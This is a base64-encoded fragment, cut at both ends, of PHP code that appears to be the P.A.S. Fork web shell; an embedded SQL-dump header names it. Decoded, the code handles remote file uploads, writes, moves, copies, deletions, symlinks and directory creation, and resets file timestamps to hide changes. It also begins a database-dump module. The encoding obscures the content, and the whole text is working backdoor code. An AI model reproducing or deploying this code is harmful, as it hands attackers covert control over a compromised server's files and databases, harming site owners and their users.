gICAgICAgICAgICAgICBlY2hvICddfSx7InAiOic7CiAgICAgICAgICAgICAgICAgICAgICAgIGpzb25FY2hvKCRrKTsKICAgICAgICAgICAgICAgICAgICAgICAgZWNobyAnLCJmIjpbJzsKICAgICAgICAgICAgICAgICAgICAgICAgJHAgPSAkazsKICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgb3V0RmlsZUluZm8oJHYpOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgZWNobyAnXX1dJzsKICAgICAgICAgICAgICAgIG91dEZpbGVJbmZvKE5VTEwsIFRSVUUpOwogICAgICAgICAgICB9CiAgICAgICAgICAgIGlmICgkZSkgewogICAgICAgICAgICAgICAgaWYgKCRiKQogICAgICAgICAgICAgICAgICAgIGVjaG8gJywnOwogICAgICAgICAgICAgICAgJGIgPSBGQUxTRTsKICAgICAgICAgICAgICAgIGVjaG8gJyJlIjpbJzsKICAgICAgICAgICAgICAgIGZvcmVhY2ggKCRlIGFzICRrID0+ICR2KSB7CiAgICAgICAgICAgICAgICAgICAgaWYgKCRiKQogICAgICAgICAgICAgICAgICAgICAgICBlY2hvICcsJzsKICAgICAgICAgICAgICAgICAgICBlbHNlCiAgICAgICAgICAgICAgICAgICAgICAgICRiID0gVFJVRTsKICAgICAgICAgICAgICAgICAgICBqc29uRWNobyhpbXBsb2RlKCcsICcsICR2KSAuICcgZm9yICcgLiAkayk7CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICBlY2hvICddJzsKICAgICAgICAgICAgfQogICAgICAgICAgICBzRGllKCd9Jyk7CiAgICAgICAgfQogICAgICAgIGlmIChpc3NldCgkRFsnZCddKSkgewogICAgICAgICAgICBpZiAoaXNfYXJyYXkoJERbJ2QnXSkpIHsKICAgICAgICAgICAgICAgICR2ID0gbmV3IFBaSVAoKTsKICAgICAgICAgICAgICAgICR2LT5pbml0KCREWydEQlAnXSk7CiAgICAgICAgICAgICAgICBmb3JlYWNoICgkRFsnZCddIGFzICRpKQogICAgICAgICAgICAgICAgICAgICR2LT5hZGRQYXRoKCRpKTsKICAgICAgICAgICAgICAgICR2LT5jbG9zZSgpOwogICAgICAgICAgICB9CiAgICAgICAgICAgICR2ID0gbmV3IEZpbGVJbmZvKCREWydkJ10pOwogICAgICAgICAgICBpZiAoJHYtPmlzRGlyKCkpIHsKICAgICAgICAgICAgICAgICR2ID0gbmV3IFBaSVAoKTsKICAgICAgICAgICAgICAgICR2LT5pbml0KCREWydkJ10pOwogICAgICAgICAgICAgICAgJHYtPmFkZFBhdGgoJERbJ2QnXSk7CiAgICAgICAgICAgICAgICAkdi0+Y2xvc2UoKTsKICAgICAgICAgICAgfQogICAgICAgICAgICBpZiAob3V0RmlsZSgkRFsnZCddKSB8fCBkZWZpbmVkKCdDRUQnKSkKICAgICAgICAgICAgICAgIHNEaWUoKTsKICAgICAgICAgICAgaGVhZGVyKCdDb250ZW50LURpc3Bvc2l0aW9uOiBpbmxpbmUnKTsKICAgICAgICAgICAgaGVhZGVyKCdDb250ZW50LVR5cGU6IGFwcGxpY2F0aW9uL2pzb247IGNoYXJzZXQ9JyAuIENTRSk7CiAgICAgICAgICAgIHNEaWUoJzAnKTsKICAgICAgICB9CiAgICAgICAgaWYgKGlzc2V0KCREWyd1J10pKSB7CiAgICAgICAgICAgIGVjaG8gJ3snOwogICAgICAgICAgICAkYSA9IGFycmF5KCk7CiAgICAgICAgICAgICRlID0gYXJyYXkoKTsKICAgICAgICAgICAgJGIgPSBGQUxTRTsKICAgICAgICAgICAgJGsgPSBOVUxMOwogICAgICAgICAgICBzb3J0KCREWyd1J10pOwogICAgICAgICAgICBmb3JlYWNoICgkRFsndSddIGFzICR2KSB7CiAgICAgICAgICAgICAgICBwYXJzZVBhdGgoJHYsICRwLCAkbik7CiAgICAgICAgICAgICAgICBpZiAoIWlzc2V0KCRhWyRwXSkpIHsKICAgICAgICAgICAgICAgICAgICAkdCA9IG5ldyBGaWxlSW5mbygkcCk7CiAgICAgICAgICAgICAgICAgICAgJHQgPSAkdC0+Z2V0TVRpbWUoKTsKICAgICAgICAgICAgICAgIH0gZWxzZQogICAgICAgICAgICAgICAgICAgICR0ID0gRkFMU0U7CiAgICAgICAgICAgICAgICBpZiAoZGVsRk9EKCR2KSkgewogICAgICAgICAgICAgICAgICAgIGlmICgkdCkKICAgICAgICAgICAgICAgICAgICAgICAgJGFbJHBdID0gJHQ7CiAgICAgICAgICAgICAgICAgICAgaWYgKCEkYikgewogICAgICAgICAgICAgICAgICAgICAgICBlY2hvICciciI6Wyc7CiAgICAgICAgICAgICAgICAgICAgICAgICRiID0gVFJVRTsKICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgaWYgKCRwICE9PSAkaykgewogICAgICAgICAgICAgICAgICAgICAgICBpZiAoJGsgIT09IE5VTEwpCiAgICAgICAgICAgICAgICAgICAgICAgICAgICBlY2hvICddfSwnOwogICAgICAgICAgICAgICAgICAgICAgICBlY2hvICd7InAiOic7CiAgICAgICAgICAgICAgICAgICAgICAgIGpzb25FY2hvKCRwKTsKICAgICAgICAgICAgICAgICAgICAgICAgZWNobyAnLCJmIjpbJzsKICAgICAgICAgICAgICAgICAgICAgICAgJGsgPSAkcDsKICAgICAgICAgICAgICAgICAgICB9IGVsc2UKICAgICAgICAgICAgICAgICAgICAgICAgZWNobyAnLCc7CiAgICAgICAgICAgICAgICAgICAganNvbkVjaG8oJG4pOwogICAgICAgICAgICAgICAgfSBlbHNlCiAgICAgICAgICAgICAgICAgICAgJGVbXSA9ICR2OwogICAgICAgICAgICB9CiAgICAgICAgICAgIGlmICgkYikKICAgICAgICAgICAgICAgIGVjaG8gJ119XSc7CiAgICAgICAgICAgIGlmICgkZSkgewogICAgICAgICAgICAgICAgaWYgKCRiKQogICAgICAgICAgICAgICAgICAgIGVjaG8gJywnOwogICAgICAgICAgICAgICAgZWNobyAnImUiOlsnOwogICAgICAgICAgICAgICAgZm9yZWFjaCAoJGUgYXMgJGsgPT4gJHYpIHsKICAgICAgICAgICAgICAgICAgICBpZiAoJGsgPiAwKQogICAgICAgICAgICAgICAgICAgICAgICBlY2hvICcsJzsKICAgICAgICAgICAgICAgICAgICBqc29uRWNobygkdik7CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICBlY2hvICddJzsKICAgICAgICAgICAgfQogICAgICAgICAgICBmb3JlYWNoICgkYSBhcyAkayA9PiAkdikKICAgICAgICAgICAgICAgIHRvdWNoKCRrLCAkdik7CiAgICAgICAgICAgIHNEaWUoJ30nKTsKICAgICAgICB9CiAgICAgICAgaWYgKCFlbXB0eSgkX0ZJTEVTWydmJ10pIHx8ICFlbXB0eSgkX1JFUVVFU1RbJ2YnXSkpIHsKCQkJCgkJCWlmKGlzX2FycmF5KCRfUkVRVUVTVFsnZiddKSAmJiAhaXNzZXQoJF9GSUxFU1snZiddKSl7CgkJCQlmb3JlYWNoICgkX1JFUVVFU1RbJ2YnXSBhcyAkayA9PiAkdikgewoJCQkJCSRfRklMRVNbJ2YnXVsnbmFtZSddWyRrXSA9IGJhc2VuYW1lKGtleSgkdikpOwoJCQkJCSRfRklMRVNbJ2YnXVsndG1wX25hbWUnXVska10gPSAkdlskX0ZJTEVTWydmJ11bJ25hbWUnXVska11dOwoJCQkJCSRfRklMRVNbJ2YnXVsnZXJyb3InXVska10gPSAwOwoJCQkJfQoJCQl9CgkJCQoJCSAgICBlY2hvICd7JzsKCQkgICAgJGEgPSBhcnJheSgpOwoJCSAgICAkYiA9IEZBTFNFOwoJCSAgICAkaSA9IG5ldyBGaWxlSW5mbygkRFsncCddKTsKCQkgICAgJGkgPSAkaS0+Z2V0TVRpbWUoKTsKCQkgICAgZm9yZWFjaCAoJF9GSUxFU1snZiddWydlcnJvciddIGFzICRrID0+ICR2KSB7CgkJICAgICAgICAkbiA9ICRfRklMRVNbJ2YnXVsnbmFtZSddWyRrXTsKCQkgICAgICAgIGlmICgkdiA9PT0gMCkgewoJCSAgICAgICAgICAgICRwID0gJERbJ3AnXSAuICRuOwoJCSAgICAgICAgICAgICR0ID0gJF9GSUxFU1snZiddWyd0bXBfbmFtZSddWyRrXTsKCQkgICAgICAgICAgICBpZiAobW92ZV91cGxvYWRlZF9maWxlKCR0LCAkcCkgfHwgcmVuYW1lKCR0LCAkcCkgfHwgY29weSgkdCwgJHApIHx8IGxpbmsoJHQsICRwKSB8fCAoaXNfc3RyaW5nKCRjID0gZ2V0RmlsZSgkdCkpICYmIHdyaXRlRmlsZSgkcCwgJGMpKSB8fCAoJHRbMF0gPT09ICdkJyAmJiB3cml0ZUZpbGUoJHAsIGJhc2U2NF9kZWNvZGUoc3Vic3RyKHN0cnJjaHIoJHQsICcsJyksIDEpKSkpKSB7CgkJICAgICAgICAgICAgICAgICRhW10gPSAkbjsKCQkgICAgICAgICAgICAgICAgaWYgKCRpKQoJCSAgICAgICAgICAgICAgICAgICAgdG91Y2goJHAsICRpKTsKCQkgICAgICAgICAgICAgICAgY29udGludWU7CgkJICAgICAgICAgICAgfQoJCSAgICAgICAgfQoJCSAgICAgICAgaWYgKCRiKQoJCSAgICAgICAgICAgIGVjaG8gJywnOwoJCSAgICAgICAgZWxzZSB7CgkJICAgICAgICAgICAgJGIgPSBUUlVFOwoJCSAgICAgICAgICAgIGVjaG8gJyJlIjpbJzsKCQkgICAgICAgIH0KCQkgICAgICAgIGpzb25FY2hvKCR2IC4gJG4pOwoJCSAgICB9CgkJICAgIGlmICgkYikKCQkgICAgICAgIGVjaG8gJ10nOwoJCSAgICBpZiAoY291bnQoJGEpID4gMCkgewoJCSAgICAgICAgaWYgKCRpKSB7CgkJICAgICAgICAgICAgdG91Y2goJERbJ3AnXSwgJGkpOwoJCSAgICAgICAgICAgIGNsZWFyc3RhdGNhY2hlKCk7CgkJICAgICAgICB9CgkJICAgICAgICBpZiAoJGIpCgkJICAgICAgICAgICAgZWNobyAnLCc7CgkJICAgICAgICBlY2hvICcicCI6JzsKCQkgICAgICAgIGpzb25FY2hvKCREWydwJ10pOwoJCSAgICAgICAgZWNobyAnLCJmIjpbJzsKCQkgICAgICAgIGZvcmVhY2ggKCRhIGFzICR2KQoJCSAgICAgICAgICAgIG91dEZpbGVJbmZvKCREWydwJ10gLiAkdik7CgkJICAgICAgICBlY2hvICddJzsKCQkgICAgICAgIG91dEZpbGVJbmZvKE5VTEwsIFRSVUUpOwoJCSAgICB9CgkJICAgIHNEaWUoJ30nKTsKCQl9CiAgICAgICAgaWYgKGlzc2V0KCREWyd3J10pKSB7CiAgICAgICAgICAgICRhID0gYXJyYXkoKTsKICAgICAgICAgICAgaWYgKGlzX2ZpbGUoJERbJ3cnXSkgfHwgZmlsZV9leGlzdHMoJERbJ3cnXSkpIHsKICAgICAgICAgICAgICAgICRpID0gbmV3IEZpbGVJbmZvKCREWyd3J10pOwogICAgICAgICAgICAgICAgaWYgKCRpLT5pc0RpcigpKQogICAgICAgICAgICAgICAgICAgIHNEaWUoJ3siZSI6IihwYXRoIGFscmVhZHkgZXhpc3RzIGFzIGRpcmVjdG9yeSkifScpOwogICAgICAgICAgICB9IGVsc2UgewogICAgICAgICAgICAgICAgJHAgICAgID0gZmlsZVBhdGgoJERbJ3cnXSk7CiAgICAgICAgICAgICAgICAkaSAgICAgPSBuZXcgRmlsZUluZm8oJHApOwogICAgICAgICAgICAgICAgJGFbJHBdID0gJGktPmdldE1UaW1lKCk7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJGFbJERbJ3cnXV0gPSAkaS0+Z2V0TVRpbWUoKTsKICAgICAgICAgICAgc3dpdGNoICgkRFsnZSddKSB7CiAgICAgICAgICAgICAgICBjYXNlIDA6CiAgICAgICAgICAgICAgICAgICAgJHYgPSAiXHJcbiI7CiAgICAgICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgICAgICBjYXNlIDE6CiAgICAgICAgICAgICAgICAgICAgJHYgPSAiXG4iOwogICAgICAgICAgICAgICAgICAgIGJyZWFrOwogICAgICAgICAgICAgICAgY2FzZSAyOgogICAgICAgICAgICAgICAgICAgICR2ID0gIlxyIjsKICAgICAgICAgICAgICAgICAgICBicmVhazsKICAgICAgICAgICAgfQogICAgICAgICAgICAkRFsndCddID0gc3RydHIoJERbJ3QnXSwgYXJyYXkoCiAgICAgICAgICAgICAgICAiXHJcbiIgPT4gJHYsCiAgICAgICAgICAgICAgICAiXHIiID0+ICR2LAogICAgICAgICAgICAgICAgIlxuIiA9PiAkdgogICAgICAgICAgICApKTsKICAgICAgICAgICAgaWYgKHdyaXRlRmlsZSgkRFsndyddLCAkRFsndCddKSkgewoJCQkJCgkJCQlpZihmdW5jdGlvbl9leGlzdHMoJ29wY2FjaGVfaW52YWxpZGF0ZScpKSBvcGNhY2hlX2ludmFsaWRhdGUoJERbJ3cnXSwgdHJ1ZSk7CgkJCQkKICAgICAgICAgICAgICAgIGZvcmVhY2ggKCRhIGFzICRrID0+ICR2KQogICAgICAgICAgICAgICAgICAgIGlmICgkdikKICAgICAgICAgICAgICAgICAgICAgICAgdG91Y2goJGssICR2KTsKICAgICAgICAgICAgICAgIGNsZWFyc3RhdGNhY2hlKCk7CiAgICAgICAgICAgICAgICAkaSA9IG5ldyBGaWxlSW5mbygkRFsndyddKTsKICAgICAgICAgICAgICAgIGVjaG8gIlx4MDFceDAyIjsKICAgICAgICAgICAgICAgICRiID0gb3V0RmlsZSgkRFsndyddKTsKICAgICAgICAgICAgICAgIGVjaG8gIlx4MDNceDFFIjsKICAgICAgICAgICAgICAgIGlmICgkYikgewogICAgICAgICAgICAgICAgICAgIGVjaG8gIlx4MDYiOwogICAgICAgICAgICAgICAgICAgIGpzb25GaWxlSW5mbygkaSwgVFJVRSk7CiAgICAgICAgICAgICAgICB9IGVsc2UKICAgICAgICAgICAgICAgICAgICBlY2hvICJceDE1IiwgJERbJ3cnXTsKICAgICAgICAgICAgICAgIHNEaWUoIlx4MTdceDA0XHgxMCIpOwogICAgICAgICAgICB9CiAgICAgICAgICAgIHNEaWUoJ3siZSI6IiJ9Jyk7CiAgICAgICAgfQogICAgICAgIGlmIChpc3NldCgkRFsnbCddKSkgewogICAgICAgICAgICAkcCA9IGZpbGVQYXRoKCREWydsJ10pOwogICAgICAgICAgICAkdCA9IG5ldyBGaWxlSW5mbygkcCk7CiAgICAgICAgICAgICR0ID0gJHQtPmdldE1UaW1lKCk7CiAgICAgICAgICAgIGlmICgkRFsndCddID09IDAgPyBzeW1saW5rKCREWydwJ10sICREWydsJ10pIDogbGluaygkRFsncCddLCAkRFsnbCddKSkgewogICAgICAgICAgICAgICAgaWYgKCR0KSB7CiAgICAgICAgICAgICAgICAgICAgaWYgKCREWyd0J10gIT0gMCkKICAgICAgICAgICAgICAgICAgICAgICAgdG91Y2goJERbJ2wnXSwgJHQpOwogICAgICAgICAgICAgICAgICAgIHRvdWNoKCRwLCAkdCk7CiAgICAgICAgICAgICAgICAgICAgY2xlYXJzdGF0Y2FjaGUoKTsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgIGpzb25GaWxlSW5mbyhuZXcgRmlsZUluZm8oJERbJ2wnXSksIFRSVUUpOwogICAgICAgICAgICAgICAgc0RpZSgpOwogICAgICAgICAgICB9CiAgICAgICAgICAgIHNEaWUoJ3siZSI6IiJ9Jyk7CiAgICAgICAgfQogICAgICAgIGlmIChpc3NldCgkRFsnbSddKSkgewogICAgICAgICAgICBpZiAoaXNfZmlsZSgkRFsnbSddKSB8fCBpc19kaXIoJERbJ20nXSkgfHwgZmlsZV9leGlzdHMoJERbJ20nXSkpCiAgICAgICAgICAgICAgICBzRGllKCd7ImUiOiIocGF0aCBhbHJlYWR5IGV4aXN0cykifScpOwogICAgICAgICAgICAkcCA9IGZpbGVQYXRoKCREWydtJ10pOwogICAgICAgICAgICAkaSA9IG5ldyBGaWxlSW5mbygkcCk7CiAgICAgICAgICAgICRpID0gJGktPmdldE1UaW1lKCk7CiAgICAgICAgICAgIGlmIChta2RpcigkRFsnbSddLCAwNzU1KSkgewogICAgICAgICAgICAgICAgaWYgKCRpKSB7CiAgICAgICAgICAgICAgICAgICAgdG91Y2goJERbJ20nXSwgJGkpOwogICAgICAgICAgICAgICAgICAgIHRvdWNoKCRwLCAkaSk7CiAgICAgICAgICAgICAgICAgICAgY2xlYXJzdGF0Y2FjaGUoKTsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgIGpzb25GaWxlSW5mbyhuZXcgRmlsZUluZm8oJERbJ20nXSksIFRSVUUpOwogICAgICAgICAgICAgICAgc0RpZSgpOwogICAgICAgICAgICB9CiAgICAgICAgICAgIHNEaWUoJ3siZSI6IiJ9Jyk7CiAgICAgICAgfQogICAgICAgIGlmIChpc3NldCgkRFsnZiddKSkgewogICAgICAgICAgICBlY2hvICd7JzsKICAgICAgICAgICAgJGEgPSBhcnJheSgpOwogICAgICAgICAgICAkbSA9IGFycmF5KCk7CiAgICAgICAgICAgICRjID0gYXJyYXkoKTsKICAgICAgICAgICAgJGIgPSBGQUxTRTsKICAgICAgICAgICAgJHQgPSBuZXcgRmlsZUluZm8oJERbJ2YnXSk7CiAgICAgICAgICAgICR0ID0gJHQtPmdldE1UaW1lKCk7CiAgICAgICAgICAgIGlmIChpc3NldCgkRFsndiddKSkKICAgICAgICAgICAgICAgIGZvcmVhY2ggKCREWyd2J10gYXMgJHYpIHsKICAgICAgICAgICAgICAgICAgICAkaSA9IG5ldyBGaWxlSW5mbygkdik7CiAgICAgICAgICAgICAgICAgICAgJGogPSAkaS0+Z2V0TVRpbWUoKTsKICAgICAgICAgICAgICAgICAgICAkZiA9ICREWydmJ10gLiAkaS0+Z2V0RmlsZU5hbWUoKTsKICAgICAgICAgICAgICAgICAgICAkcyA9ICRpLT5nZXRQYXRoKCk7CiAgICAgICAgICAgICAgICAgICAgaWYgKCFpc3NldCgkYVskc10pKSB7CiAgICAgICAgICAgICAgICAgICAgICAgICRuID0gbmV3IEZpbGVJbmZvKCRzKTsKICAgICAgICAgICAgICAgICAgICAgICAgJG4gPSAkbi0+Z2V0TVRpbWUoKTsKICAgICAgICAgICAgICAgICAgICB9IGVsc2UKICAgICAgICAgICAgICAgICAgICAgICAgJG4gPSBGQUxTRTsKICAgICAgICAgICAgICAgICAgICBpZiAocmVuYW1lKCR2LCAkZikpIHsKICAgICAgICAgICAgICAgICAgICAgICAgaWYgKCRuKQogICAgICAgICAgICAgICAgICAgICAgICAgICAgJGFbJHNdID0gJG47CiAgICAgICAgICAgICAgICAgICAgICAgIGlmICgkaikKICAgICAgICAgICAgICAgICAgICAgICAgICAgICRhWyRmXSA9ICRqOwogICAgICAgICAgICAgICAgICAgICAgICAkbVskc11bXSA9ICRpLT5nZXRGaWxlTmFtZSgpOwogICAgICAgICAgICAgICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgICAgICAgICAgICAgIGlmICgkYikKICAgICAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8gJywnOwogICAgICAgICAgICAgICAgICAgICAgICBlbHNlIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8gJyJlIjpbJzsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICRiID0gVFJVRTsKICAgICAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgICAgICBqc29uRWNobygkdik7CiAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgfQogICAgICAgICAgICBpZiAoaXNzZXQoJERbJ3AnXSkpCiAgICAgICAgICAgICAgICBmb3JlYWNoICgkRFsncCddIGFzICR2KSB7CiAgICAgICAgICAgICAgICAgICAgJGkgPSBuZXcgRmlsZUluZm8oJHYpOwogICAgICAgICAgICAgICAgICAgICRmID0gJERbJ2YnXSAuICRpLT5nZXRGaWxlTmFtZSgpOwogICAgICAgICAgICAgICAgICAgIGlmIChjb3B5KCR2LCAkZikgfHwgbGluaygkdiwgJGYpIHx8ICghJGktPmlzRGlyKCkgJiYgaXNfc3RyaW5nKCRzID0gZ2V0RmlsZSgkdikpICYmIHdyaXRlRmlsZSgkZiwgJHMpKSkgewogICAgICAgICAgICAgICAgICAgICAgICAkdiA9ICRpLT5nZXRNVGltZSgpOwogICAgICAgICAgICAgICAgICAgICAgICBpZiAoJHYpCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkYVskZl0gPSAkdjsKICAgICAgICAgICAgICAgICAgICAgICAgJGNbXSA9ICRpLT5nZXRGaWxlTmFtZSgpOwogICAgICAgICAgICAgICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgICAgICAgICAgICAgIGlmICgkYikKICAgICAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8gJywnOwogICAgICAgICAgICAgICAgICAgICAgICBlbHNlIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8gJyJlIjpbJzsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICRiID0gVFJVRTsKICAgICAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgICAgICBqc29uRWNobygkdik7CiAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgfQogICAgICAgICAgICBpZiAoJGIpCiAgICAgICAgICAgICAgICBlY2hvICddJzsKICAgICAgICAgICAgaWYgKGNvdW50KCRtKSA+IDAgfHwgY291bnQoJGMpID4gMCkgewogICAgICAgICAgICAgICAgZm9yZWFjaCAoJGEgYXMgJGsgPT4gJHYpCiAgICAgICAgICAgICAgICAgICAgdG91Y2goJGssICR2KTsKICAgICAgICAgICAgICAgIGlmICgkdCkKICAgICAgICAgICAgICAgICAgICB0b3VjaCgkRFsnZiddLCAkdCk7CiAgICAgICAgICAgICAgICBjbGVhcnN0YXRjYWNoZSgpOwogICAgICAgICAgICAgICAgaWYgKCRiKQogICAgICAgICAgICAgICAgICAgIGVjaG8gJywnOwogICAgICAgICAgICAgICAgZWNobyAnInAiOic7CiAgICAgICAgICAgICAgICBqc29uRWNobygkRFsnZiddKTsKICAgICAgICAgICAgICAgIGlmIChjb3VudCgkbSkgPiAwKSB7CiAgICAgICAgICAgICAgICAgICAgZWNobyAnLCJtIjpbJzsKICAgICAgICAgICAgICAgICAgICAkYiA9IEZBTFNFOwogICAgICAgICAgICAgICAgICAgIGZvcmVhY2ggKCRtIGFzICRrID0+ICRhKSB7CiAgICAgICAgICAgICAgICAgICAgICAgIGlmICgkYikKICAgICAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8gJywnOwogICAgICAgICAgICAgICAgICAgICAgICBlbHNlCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkYiA9IFRSVUU7CiAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8gJ3sicCI6JzsKICAgICAgICAgICAgICAgICAgICAgICAganNvbkVjaG8oJGspOwogICAgICAgICAgICAgICAgICAgICAgICBvdXRGaWxlSW5mbyhOVUxMLCBGQUxTRSk7CiAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8gJywiZiI6Wyc7CiAgICAgICAgICAgICAgICAgICAgICAgIGZvcmVhY2ggKCRhIGFzICR2KQogICAgICAgICAgICAgICAgICAgICAgICAgICAgb3V0RmlsZUluZm8oJERbJ2YnXSAuICR2KTsKICAgICAgICAgICAgICAgICAgICAgICAgZWNobyAnXX0nOwogICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICBlY2hvICddJzsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgIGlmIChjb3VudCgkYykgPiAwKSB7CiAgICAgICAgICAgICAgICAgICAgZWNobyAnLCJjIjpbJzsKICAgICAgICAgICAgICAgICAgICAkYiA9IEZBTFNFOwogICAgICAgICAgICAgICAgICAgIGZvcmVhY2ggKCRjIGFzICR2KQogICAgICAgICAgICAgICAgICAgICAgICBvdXRGaWxlSW5mbygkRFsnZiddIC4gJHYpOwogICAgICAgICAgICAgICAgICAgIGVjaG8gJ10nOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgb3V0RmlsZUluZm8oTlVMTCwgVFJVRSk7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgc0RpZSgnfScpOwogICAgICAgIH0KICAgICAgICBicmVhazsKICAgIGNhc2UgJ3MnOgogICAgICAgIGRlZmluZSgnVF9ETVBIRFInLCAiLS0gXG4tLSBUaGlzIFNRTCBkdW1wIGNyZWF0ZWQgYnkgUC5BLlMuIEZvcmsgdi4iIC4gVkVSIC4gIlxuLS0gXG4tLSBTdGFydGVkIGF0ICVzIFVUQ1xuIik7CiAgICAgICAgZGVmaW5lKCdUX0RNUEZUUicsICItLSBGaW5pc2hlZCBhdCAlcyBVVEMiKTsKICAgICAgICBkZWZpbmUoJ0VfU0xDVERUJywgIkNhbid0IGxvYWQgZGF0YSBmcm9tIHRhYmxlICVzXG4iKTsKICAgICAgICBkZWZpbmUoJ0VfQ05TVENTJywgIkNhbid0IGNvbnN0cnVjdCBjcmVhdGUgc3RhdGVtZW50IGZvciB0YWJsZSAlc1xuIik7CiAgICAgICAgZGVmaW5lKCdFX0NITkdEQicsICJDYW4ndCBjaGFuZ2UgZGF0YWJhc2UgdG8gJXMgZm9yIGR1bXAgdGFibGUgJXMuJXNcbiIpOwogICAgICAgIGNsYXNzIFNRTEJhc2UgewogICAgICAgICAgICB2YXIgJF9jbmN0LCAkX3JlczsKICAgICAgICAgICAgZnVuY3Rpb24gY29ubkVycm9yKCRtLCAkaCwgJHUsICRwLCAkYikgewogICAgICAgICAgICAgICAgZWNobyAneyJlIjonOwogICAgICAgICAgICAgICAganNvbkVjaG8oJG0gPyAkbSA6ICJDYW4ndCBjb25uZWN0IHRvIFNRTCBzZXJ2ZXIiIC4gKCRoID09PSBOVUxMID8gJycgOiAnICcgLiAkaCkgLiAoJHUgPT09IE5VTEwgPyAnJyA6ICcgYXMgdXNlciAiJyAuICR1IC4gJyInKSAuICgkcCA9PT0gTlVMTCA/ICcnIDogJyB3aXRoIHBhc3N3b3JkICInIC4gJHAgLiAnIicpIC4gKCRiID09PSBOVUxMID8gJycgOiAnIGFuZCBzZWxlY3QgZGF0YWJhc2UgIicgLiAkYiAuICciJykgLiAnLicpOwogICAgICAgICAgICAgICAgc0RpZSgnfScpOwogICAgICAgICAgICB9CiAgICAgICAgICAgIGZ1bmN0aW9uIGdldEVycm9yKCkgewogICAgICAgICAgICAgICAgJHYgPSAkdGhpcy0+X2NuY3QtPmVycm9ySW5mbygpOwogICAgICAgICAgICAgICAgcmV0dXJuICR2WzJdOwogICAgICAgICAgICB9CiAgICAgICAgICAgIGZ1bmN0aW9uIHRyeVF1ZXJpZXMoJGEpIHsKICAgICAgICAgICAgICAgICRpID0gJHRoaXMtPl9jbmN0OwogICAgICAgICAgICAgICAgZm9yZWFjaCAoJGEgYXMgJHYpCiAgICAgICAgICAgICAgICAgICAgaWYgKCR0aGlzLT5fcmVzID0gJGktPnF1ZXJ5KCR2KSkKICAgICAgICAgICAgICAgICAgICAgICAgcmV0dXJuIFRSVUU7CiAgICAgICAgICAgICAgICByZXR1cm4gRkFMU0U7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgZnVuY3Rpb24gZmV0Y2hBc3NvYygpIHsKICAgICAgICAgICAgICAgIHJldHVybiAkdGhpcy0+X3Jlcy0+ZmV0Y2goUERPOjpGRVRDSF9BU1NPQyk7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgZnVuY3Rpb24gZmV0Y2hSb3coKSB7CiAgICAgICAgICAgICAgICByZXR1cm4gJHRoaXMtPl9yZXMtPmZldGNoKFBETzo6RkVUQ0hfTlVNKTsKICAgICAgICAgICAgfQogICAgICAgICAgICBmdW5jdGlvbiBxdWVyeSgkdikgewogICAgICAgICAgICAgICAgcmV0dXJuICgkdGhpcy0+X3JlcyA9ICR0aGlzLT5fY25jdC0+cXVlcnkoJHYpKTsKICAgICAgICAgICAgfQogICAgICAgICAgICBmdW5jdGlvbiBmZXRjaEJhc2UoKSB7CiAgICAgICAgICAgICAgICByZXR1cm4gJHRoaXMtPl9yZXMtPmZldGNoQ29sdW1uKDApOwogICAgICAgICAgICB9CiAgICAgICAgICAgIGZ1bmN0aW9uIGZldGNoVGFibGUoKSB7CiAgICAgICAgICAgICAgICByZXR1cm4gJHRoaXMtPl9yZXMtPmZldGNoQ29sdW1uKDApOwogICAgICAgICAgICB9CiAgICAgICAgICAgIGZ1bmN0aW9uIGdldENvbHVtbnNOYW1lcygkdikgewogICAgICAgICAgICAgICAgJGEgPSBhcnJheSgpOwogICAgICAgICAgICAgICAgaWYgKCgkdiA9ICR0aGlzLT5fY25jdC0+cXVlcnkoJ1NFTEVDVCAqIEZST00gJyAuICR2IC4gJyBMSU1JVCAxJykpICYmICgkdiA9ICR2LT5mZXRjaChQRE86OkZFVENIX0FTU09DKSkpIHsKICAgICAgICAgICAgICAgICAgICBmb3JlYWNoICgkdiBhcyAkayA9PiAkaSkKICAgICAgICAgICAgICAgICAgICAgICAgJGFbJGtdID0gJyc7CiAgICAgICAgICAgICAgICAgICAgcmV0dXJuICRhOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgcmV0dXJuIEZBTFNFOwogICAgICAgICAgICB9CiAgICAgICAgICAgIGZ1bmN0aW9uIHNxbFRhYmxlU2l6ZSgkdikgewogICAgICAgICAgICAgICAgcmV0dXJuICgkdiA9ICR0aGlzLT5fY25jdC0+cXVlcnkoJ1NFTEVDVCBDT1VOVCgqKSBGUk9NICcgLiAkdikpID8gJHYtPmZldGNoQ29sdW1uKDApIDogJyI/Iic7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgZnVuY3Rpb24gY2xvc2UoKSB7Ci